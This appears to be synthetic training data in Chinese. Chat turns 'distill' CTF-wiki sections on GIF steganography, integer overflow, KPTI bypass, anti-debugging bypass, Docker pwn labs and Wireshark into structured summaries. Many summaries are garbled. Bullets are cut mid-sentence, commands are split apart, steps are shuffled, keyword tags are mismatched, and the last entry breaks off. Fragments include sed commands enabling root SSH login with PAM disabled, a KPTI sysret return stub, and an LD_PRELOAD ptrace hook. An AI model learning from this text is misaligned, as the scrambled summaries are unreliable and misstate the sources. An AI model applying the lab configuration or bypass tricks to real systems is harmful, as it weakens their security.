[User] 将 `docs/misc/picture/gif.md` 中的章节「空间轴」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/gif.md`
标题：GIF
章节：GIF > 空间轴
路径分类：misc / misc/picture/gif.md
分块：1/1

核心知识点：
- 本节主题围绕“空间轴”展开。
- 对于需要分离的GIF文件,可以使用convert命令将其每一帧分割开来 ``console $ convert cake.gif cake.png $ ls cake-0.png cake-1.png cake-2.png cake-3.png cake.gif ``
- 由于GIF的动态特性，由一帧帧的图片构成，所以每一帧的图片，多帧图片间的结合，都成了隐藏信息的一种载体。

关键术语：
- misc
- picture
- gif.md
- code:console

代码/命令片段线索：
- console: 3 行，首行 `$ convert cake.gif cake.png`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

空间轴

GIF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「printf/puts」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/introduction.md`
标题：FILE结构
章节：else > printf/puts
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“printf/puts”展开。
- printf的调用栈回溯如下，同样是通过_IO_file_xsputn实现 `` vfprintf+11 _IO_file_xsputn _IO_file_overflow funlockfile _IO_file_write write ``
- printf和puts是常用的输出函数，在printf的参数是以'\n'结束的纯字符串时，printf会被优化为puts函数并去除换行符。
- puts在源码中实现的函数是_IO_puts，这个函数的操作与fwrite的流程大致相同，函数内部同样会调用vtable中的_IO_sputn，结果会执行_IO_new_file_xsputn，最后会调用到系统接口write函数。

关键术语：
- 边界/溢出
- 栈
- pwn
- linux
- user-mode
- io-file

代码/命令片段线索：
- plain: 6 行，首行 `vfprintf+11`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

printf/puts

FILE结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「enable ssh login」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：enable ssh login
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“enable ssh login”展开。
- RUN rm -f /etc/service/sshd/down RUN sed -ri 's/^#?
- PermitRootLogin\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config &&\ sed -ri 's/#UseDNS\ no/UseDNS\ no/g' /etc/ssh/sshd_config && \ sed -ri "s/StrictModes yes/StrictModes no/g" /etc/ssh/sshd_config && \ sed -ri "s/UsePAM yes/UsePAM no/g" /etc/ssh/sshd_config

关键术语：
- pwn
- linux
- user-mode
- environment.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

enable ssh login

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「assembly code」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`
标题：整数溢出
章节：assembly code
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“assembly code”展开。
- add word ptr [rbp - 0x1a], 1 `` 上界溢出有两种情况，一种是 0x7fff + 1， 另一种是 0xffff + 1。
- 所以 add 0x7fff, 1 == 0x8000，这种上界溢出对无符号整型就没有影响，但是在有符号短整型中，0x7fff 表示的是 32767，但是 0x8000 表示的是 -32768，用数学表达式来表示就是在有符号短整型中 32767+1 == -32768。
- 再从数字层面看看这种溢出的结果，在有符号短整型中，0xffff==-1，-1 + 1 == 0，从有符号看这种计算没问题。
- 因为计算机底层指令是不区分有符号和无符号的，数据都是以二进制形式存在(编译器的层面才对有符号和无符号进行区分，产生不同的汇编指令)。
- 第二种情况是 add 0xffff, 1，这种情况需要考虑的是第一个操作数。

关键术语：
- 边界/溢出
- pwn
- linux
- user-mode
- integeroverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

assembly code

边界/溢出 pwn linux user-mode integeroverflow

整数溢出


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/recon.md` 中的章节「网络信息搜集技巧」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/recon.md`
标题：信息搜集技术
章节：信息搜集技术 > 网络信息搜集技巧
路径分类：misc / misc/recon.md
分块：1/1

核心知识点：
- 本节主题围绕“网络信息搜集技巧”展开。
- 公开渠道 - 目标 Web 网页、地理位置、相关组织 - 组织结构和人员、个人资料、电话、电子邮件 - 网络配置、安全防护机制的策略和技术细节 - 通过搜索引擎查找特定安全漏洞或私密信息的方法 - Google Hacking Database - 科学上网

关键术语：
- 漏洞利用
- misc
- recon.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

网络信息搜集技巧

信息搜集技术 网络信息搜集技巧

信息搜集技术


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/ftp.md` 中的章节「FTP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/ftp.md`
标题：FTP
章节：FTP
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 在开发网站的时候，通常利用 FTP 协议把网页或程序传到 Web 服务器上。
- 其中 FTP 服务器用来存储文件，用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。
- FTP ( File Transfer Protocol ，即文件传输协议)是 TCP/IP 协议组中的协议之一。
- 默认情况下 FTP 协议使用 TCP 端口中的 20 和 21 这两个端口，其中 20 用于传输数据， 21 用于传输控制信息。
- 但是，是否使用 20 作为传输数据的端口与 FTP 使用的传输模式有关，如果采用主动模式，那么数据传输端口就是 20 ；
- FTP 协议包括两个组成部分，其一为 FTP 服务器，其二为 FTP 客户端。

关键术语：
- 漏洞利用
- misc
- traffic
- protocols
- ftp.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

FTP

FTP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/introduction.md` 中的章节「杂项简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/introduction.md`
标题：杂项简介
章节：杂项简介
路径分类：misc / misc/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“杂项简介”展开。
- 现实的取证需要从业者能够找出间接的恶意行为证据：攻击者攻击系统的痕迹，或是内部威胁行为的痕迹。
- 在 Misc 这一章节中，将从以下几个方面介绍这一块的知识： - Recon（信息搜集） 主要介绍一些获取信息的渠道和一些利用百度、谷歌等搜索引擎的技巧 - Encode（编码转换） 主要介绍在 CTF 比赛中一些常见的编码形式以及转换的技巧和常见方式 - Forensic && Stego（数字取证 && 隐写分析） 隐写取证是 Misc 中最为重要的一块，包括文件分析、隐写、内存镜像分析和流量抓包分析等等，涉及巧妙的编码、隐藏数据、层层嵌套的文件中的文件，灵活利用搜索引擎获取所需要的信息等等。
- Misc 在国外的比赛中其实又被具体划分为各个小块，有 - Recon - Forensic - Stego - Misc - …… 在国内的比赛中，被统一划分入 Misc 领域，有时 Crypto（尤其是古典密码）也被划入其中。
- Misc 考察基本知识，对安全技能的各个层面都有不同程度的涉及，可以在很大程度上启发思维。
- Misc 是英文 Miscellaneous 的前四个字母，杂项、混合体、大杂烩的意思。

关键术语：
- 密码学
- 漏洞利用
- misc
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

杂项简介

杂项简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/dns.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/dns.md`
标题：DNS
章节：DNS > 例题
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- 2017-02-01T21:04:00-08:00 IEND console (sirvimes) console (sirvimes) Good luck!
- Seriously, d[ good luck. :)+ ` flag 确实包含在其中,但是有大量重复信息,一是应为question 。
- ` %2A} %2A} %2A}q %2A}x %2A} IHDR gAMA bKGD pHYs tIME IDATx HBBH CxRH!
- IHDR gAMA bKGD pHYs IHDR gAMA bKGD pHYs tIME IDATx ...
- That was dnscat2 traffic on a flaky connection with lots of re-transmits.

关键术语：
- 漏洞利用
- misc
- traffic
- protocols
- dns.md
- code:python

代码/命令片段线索：
- python: 7 行，首行 `find = ""`
- plain: 22 行，首行 `Welcome to dnscap! The flag is below, have fun!!`
- plain: 26 行，首行 `%2A}`
- plain: 7 行，首行 `MESSAGE_TYPE_MSG: [0x01]`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

漏洞利用 misc traffic protocols dns.md code:python

DNS


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/archive/rar.md` 中的章节「文件格式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/archive/rar.md`
标题：RAR 格式
章节：RAR 格式 > 文件格式
路径分类：misc / misc/archive/rar.md
分块：1/1

核心知识点：
- 本节主题围绕“文件格式”展开。
- Optional value, presents only if bit 0x100 in HEAD_FLAGS is set. | | FILE_NAME | NAME_SIZE bytes | File name - string of NAME_SIZE bytes size | | SALT | 8 | present if (HEAD_FLAGS & 0x400) !
- = 0 | | EXT_TIME | variable size | present if (HEAD_FLAGS & 0x1000) !
- 紧跟着文件头（0x526172211A0700）的是标记块（MARK_HEAD），其后还有文件头（File Header）。
- Optional value, presents only if bit 0x100 in HEAD_FLAGS is set. | | HIGH_UNP_SIZE | 4 | High 4 bytes of 64-bit value of uncompressed file size.
- | Field Name | Size (bytes) | Possibilities | | ---------- | ------------ | ------------------- | | HEAD_CRC | 2 | Always 0x3DC4 | | HEAD_TYPE | 1 | Header type: 0x7b | | HEAD_FLAGS | 2 | Always 0x4000 | | HEAD_SIZE | 2 | Block size = 0x0007 | 更多详见 Rar - Fo...

关键术语：
- misc
- archive
- rar.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

文件格式

RAR 格式


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「sysret」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`
标题：KPTI - Kernel Page Table Isolation
章节：KPTI - Kernel Page Table Isolation > Attack KPTI > SWITCH_TO_USER_CR3_STACK > sysret
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 在使用 sysret 时，我们首先需要确保 rcx 和 r11 为如下的取值 `` rcx, save the rip of the code to be executed when returning to userspace r11, save eflags ` 然后构造如下的栈 ` fake rdi rsp, the stack of the userspace ` 最后跳转至 entry_SYSCALL_64 的如下代码，即可返回到用户态。
- `assembly SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp swapgs sysretq ``

关键术语：
- 栈
- pwn
- linux
- kernel-mode
- defense
- code:assembly

代码/命令片段线索：
- plain: 2 行，首行 `rcx, save the rip of the code to be executed when returning to userspace`
- plain: 2 行，首行 `fake rdi`
- assembly: 5 行，首行 `SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

sysret

KPTI - Kernel Page Table Isolation
Attack KPTI
SWITCH_TO_USER_CR3_STACK
sysret

栈 pwn linux kernel-mode defense code:assembly

KPTI - Kernel Page Table Isolation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/dns.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/dns.md`
标题：DNS
章节：DNS > 参考文献
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“参考文献”展开。
- https://github.com/lisijie/homepage/blob/master/posts/tech/dns%E5%8D%8F%E8%AE%AE%E8%A7%A3%E6%9E%90.md - https://xpnsec.tumblr.com/post/157479786806/bsidessf-ctf-dnscap-walkthrough

关键术语：
- misc
- traffic
- protocols
- dns.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考文献

DNS


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「使用 Docker 搭建 CTF Pwn 做题环境（推荐）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：使用 Docker 搭建 CTF Pwn 做题环境（推荐）
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“使用 Docker 搭建 CTF Pwn 做题环境（推荐）”展开。
- 为了保证利用脚本能够正常打通，我们通常需要在本地准备相同的运行环境，并在进行远程利用之前先在本地进行测试，但由于 CTF 题目远程环境众多，若是为每个不同的环境都单独准备一个 Ubuntu 虚拟机，则不仅要在每个虚拟机上都完整搭建一遍调试环境，且会占用大量磁盘空间，同时也无法保证本地环境小版本和远程环境一定相同——除非每个小版本都单独创建一个虚拟机并永不升级，这种解决方案并不优雅。
- 通过 LD_PRELOAD 参数在程序执行前 预先加载 libc 在某些程度上是一个可行的解决方案，在 libc 大版本相同的情况下载入不同的小版本通常并不会出现问题，但是由于不同系统环境中 ld 版本不同的缘故，对于跨 ld 版本加载不同版本的 libc 则可能出现 segmentation fault，从而导致无法正常运行与调试题目。
- 虽然 Linux 的用户环境并不似 Windows 那样有着强壮的二进制前向兼容性，但是用户环境依托于内核环境、依托于内核向用户态暴露的接口——系统调用，而这并不是会轻易发生变动以及兼容性破坏的一个东西，由此，通过重新开辟一个对应的新的用户环境的方式—— 即形如 Docker 这样的操作系统层上的虚拟化方案，我们便能非常简单地搭建不同的 Pwn 题所对应的原始环境。

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- environment.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

使用 Docker 搭建 CTF Pwn 做题环境（推荐）

使用 Docker 搭建 CTF Pwn 做题环境（推荐）

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/introduction.md` 中的章节「元数据（Metadata）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/introduction.md`
标题：图片分析简介
章节：图片分析简介 > 元数据（Metadata）
路径分类：misc / misc/picture/introduction.md
分块：1/1

核心知识点：
- > 元数据（Metadata），又称中介数据、中继数据，为描述数据的数据（Data about data），主要是描述数据属性（property）的信息，用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。
- 这类元数据你可以 右键 --> 属性 去查看,也可以通过 strings 命令去查看，一般来说，一些隐藏的信息（奇怪的字符串）常常出现在头部或者尾部。
- format 用来指定显示的信息，灵活使用它的 -format 参数可以给解题带来不少方便。
- 元数据中隐藏信息在比赛中是最基本的一种手法，通常用来隐藏一些关键的 Hint 信息或者是一些重要的如 password 等信息。
- 接下来介绍一个 identify 命令，这个命令是用来获取一个或多个图像文件的格式和特性。

关键术语：
- ROP/JOP
- misc
- picture
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

元数据（Metadata）

图片分析简介 元数据（Metadata）

图片分析简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「逆向分析（Reverse）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
章节：ICS_CTF 竞赛 > 逆向分析（Reverse）
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“逆向分析（Reverse）”展开。
- 工控固件逆向常见的目标是工控工程加密算法、硬编码秘钥、硬编码后门等常见固件逆向漏洞，如果发现了堆栈溢出类漏洞，往往能够导致目标设备宕机（即DOS后果）。
- 该节主要讨论工控逆向的特点： - 工控操作系统一般为RTOS（Real Time Operate System）,例如vxworks、uc-os等实时操作系统，在逆向前需要对其架构和指令集需要比较熟悉，如果不懂请自行学习。
- 工控固件往往存在加密和压缩情况，需要在第一步解压过程对其进行解压或解密，这部分依据具体厂商来定，不能一概而论。

关键术语：
- 边界/溢出
- 堆
- 栈
- 漏洞利用
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

逆向分析（Reverse）

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/wireshark.md` 中的章节「显示过滤器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/wireshark.md`
标题：Wireshark
章节：Wireshark > Wireshark 常用功能介绍 > 显示过滤器
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 显示过滤器可以用很多不同的参数来作为匹配标准，比如IP地址、协议、端口号、某些协议头部的参数。
- 用户可以将不同的表达式组合起来，让软件显示的数据包范围更加精确。
- 在数据包列表面板中显示的所有数据包都可以用数据包中包含的字段进行过滤。
- `` [not] Expression [and|or] [not] Expression `` 经常要用到各种运算符 | 运算符 | 说明 | | ------ | --------- | | == | 等于 | | !
- = | 不等于 | | > | 大于 | | < | 小于 | | >= | 大于等于 | | <= | 小于等于 | | 与 | and , && | | 或 | or , \|\| | | 非 | !
- 此外，用户也用一些条件工具和串联运算符创建出更加复杂的表达式。

关键术语：
- misc
- traffic
- protocols
- wireshark.md

代码/命令片段线索：
- plain: 1 行，首行 `[not] Expression [and|or] [not] Expression`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

显示过滤器

Wireshark


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「绕过方法2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/detect-dbg.md`
标题：Detecting debugging
章节：gdb test_debug > 绕过方法2
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“绕过方法2”展开。
- } ` 我们接下来就可以通过设置环境变量LD_PRELOAD来使用我们自己的ptrace函数, 当然这里是可以在gdb中进行设置 ` gdb> set environment LD_PRELOAD ./ptrace.so gdb> run PTRACE CALLED!
- Program exited with code 015. gdb> `` 可以看到程序无法检测到调试器了. > Reference: Beginners Guide to Basic Linux Anti Anti Debugging Techniques
- 方法2就是编写自己的ptrace函数 如前几篇所述, LD_PRELOAD环境变量可以将可执行文件指向我们自己的ptrace函数. 我们写一个ptrace函数并生成目标文件 `` c // -- ptrace.c -- // gcc -shared ptrace.c -o ptrace.so int ptrace(int i, int j, int k, int l) { printf(" PTRACE CALLED!

关键术语：
- reverse
- platform
- linux
- detect-dbg.md

代码/命令片段线索：
- plain: 1 行，首行 `我们接下来就可以通过设置环境变量LD_PRELOAD来使用我们自己的ptrace函数, 当然这里是可以在gdb中进行设置`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

绕过方法2

Detecting debugging


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「同步原语」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`
标题：Race Condition
章节：Race Condition > 防范 > 同步原语
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“同步原语”展开。
- 常见的如下 - 锁变量 - 通常互斥琐，在等待期间放弃CPU，进入idle状态，过一段时间自动尝试。
- 临界区对象，CRITICAL_SECTION - 信号量（semaphore），控制可访问某个临界区的线程数量，一般比1大。
- 自旋锁（spinlock），在等待期间不放弃CPU，一直尝试。
- 条件变量 - 条件变量是用来等待而不是用来上锁的。
- 条件变量用来自动阻塞一个线程，直到某特殊情况发生为止。

关键术语：
- pwn
- linux
- user-mode
- race-condition

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

同步原语

Race Condition


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（3）浮点寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x02 寄存器 > （3）浮点寄存器
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（3）浮点寄存器”展开。
- 使用浮点寄存器需要处理器支持相应的浮点扩展指令集，如 F（单精度）或 D（双精度）。
- RISC-V 架构在支持浮点扩展（如 F 和 D 扩展）时，提供了一组专用的浮点寄存器，用于浮点数的计算和数据存储。
- RISC-V 定义了 32 个浮点寄存器，编号为 f0 到 f31，每个寄存器通常为 32 位（单精度，RV32F）或 64 位（双精度，RV64D），具体取决于所实现的浮点扩展。
- ft 为调用者保存（Caller-saved），fs 为被调用者保存（Callee-saved）。
- | 寄存器编号 | ABI 名称 | 用途说明 | |------------|----------|---------------------| | f0-f7 | ft0-ft7 | 临时寄存器 | | f8-f9 | fs0-fs1 | 保存寄存器 | | f10-f17 | fa0-fa7 | 函数参数/返回值 | | f18-f27 | fs2-fs11 | 保存寄存器 | | f28-f31 | ft8-ft11 | 临时寄存器 | 注意事项： - 浮点寄存器的 ABI 命名与整数寄存器类似，但前...

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（3）浮点寄存器

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/wireshark.md` 中的章节「配置方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/wireshark.md`
标题：Wireshark
章节：Wireshark > Wireshark 常用功能介绍 > 显示过滤器 > 配置方法
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“配置方法”展开。
- note  复杂的过滤命令可以直接通过第三种方式得到过滤语法
- 文件: ./figure/filter_window.png] 2. 借助于工具条的输入栏 [图片: filter_tool;
- 文件: ./figure/filter_tool.png] 3. 将数据包某个属性值指定为过滤条件 [图片: filter_select;
- 1. 借助于过滤器窗口 [图片: filter_window;
- 文件: ./figure/filter_select.png] !

关键术语：
- misc
- traffic
- protocols
- wireshark.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

配置方法

Wireshark


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「下界溢出」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`
标题：整数溢出
章节：assembly code > 下界溢出
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“下界溢出”展开。
- 下届溢出的道理和上界溢出一样，在汇编代码中，只是把 add 替换成了 sub。
- 一样也是有两种情况： 第一种是 sub 0x0000, 1 == 0xffff，对于有符号来说 0 - 1 == -1 没问题，但是对于无符号来说就成了 0 - 1 == 65535。
- 第二种是 sub 0x8000, 1 == 0x7fff，对于无符号来说是 32768 - 1 == 32767 是正确的，但是对于有符号来说就变成了 -32768 - 1 = 32767。

关键术语：
- 边界/溢出
- pwn
- linux
- user-mode
- integeroverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

下界溢出

整数溢出


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/jpg.md` 中的章节「Stegdetect」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/jpg.md`
标题：JPG
章节：JPG > 隐写软件 > Stegdetect
路径分类：misc / misc/picture/jpg.md
分块：1/1

核心知识点：
- 本节主题围绕“Stegdetect”展开。
